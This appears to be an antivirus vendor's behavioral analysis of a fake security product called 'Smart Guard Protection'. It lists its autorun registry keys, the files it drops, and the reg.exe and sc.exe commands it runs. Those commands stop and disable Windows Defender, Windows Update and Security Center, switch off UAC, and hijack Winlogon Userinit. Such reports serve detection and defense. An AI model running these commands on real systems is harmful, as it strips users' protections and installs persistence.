Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'AS2014' = '%PROGRAMDATA%\d3W1T2gW\d3W1T2gW.exe'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Userinit' = 'userinit.exe,%PROGRAMDATA%\d3W1T2gW\d3W1T2gW.exe -sm,'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'AS2014' = '%PROGRAMDATA%\d3W1T2gW\d3W1T2gW.exe'
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
- Windows Security Center
- Windows Defender
blocks the following features:
- User Account Control (UAC)
- Windows Security Center
Terminates or attempts to terminate
the following user processes:
- firefox.exe
Modifies file system
Creates the following files
- %PROGRAMDATA%\d3w1t2gw\d3w1t2gw.exe
- %PROGRAMDATA%\d3w1t2gw\d3w1t2gwyvsagggg.in
- %PROGRAMDATA%\d3w1t2gw\d3w1t2gw.exe.manifest
- %PROGRAMDATA%\d3w1t2gw\d3w1t2gw.ico
- %PROGRAMDATA%\d3w1t2gw\rr.bat
- nul
- %APPDATA%\microsoft\windows\start menu\programs\smart guard protection\smart guard protection.lnk
- %HOMEPATH%\desktop\smart guard protection support.url
- %APPDATA%\microsoft\windows\start menu\programs\smart guard protection\smart guard protection support.url
- %HOMEPATH%\desktop\smart guard protection.lnk
Miscellaneous
Searches for the following windows
- ClassName: 'fwcplui_class' WindowName: ''
- ClassName: 'MSASCUI_class' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C "%PROGRAMDATA%\d3W1T2gW\rr.bat"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /C "%PROGRAMDATA%\d3W1T2gW\rr.bat"
- '<SYSTEM32>\reg.exe' adD "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v AntiVirusOverride /t REG_DWORD /d 1 /f
- '<SYSTEM32>\sc.exe' StOp wuauserv
- '<SYSTEM32>\sc.exe' StOp msmpsvc
- '<SYSTEM32>\sc.exe' StOp WinDefend
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SPP\Clients" /va /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v UpdatesDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v UpdatesDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallOverride /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v FirewallOverride /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v FirewallDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v AntiVirusOverride /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "userinit.exe,%PROGRAMDATA%\d3W1T2gW\d3W1T2gW.exe -sm," /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v AntiVirusDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Windows Defender" /f
- '<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MSASCui /f
- '<SYSTEM32>\sc.exe' config luafv start= disabled
- '<SYSTEM32>\sc.exe' config wscsvc start= disabled
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' config msmpsvc start= disabled
- '<SYSTEM32>\sc.exe' config windefend start= disabled
- '<SYSTEM32>\ping.exe' localhost -w 1000 -n 3
- '<SYSTEM32>\sc.exe' StOp wscsvc
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v RPSessionInterval /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v EnableVirtualization /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v AntiVirusDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v AS2014 /t REG_SZ /d "%PROGRAMDATA%\d3W1T2gW\d3W1T2gW.exe" /f
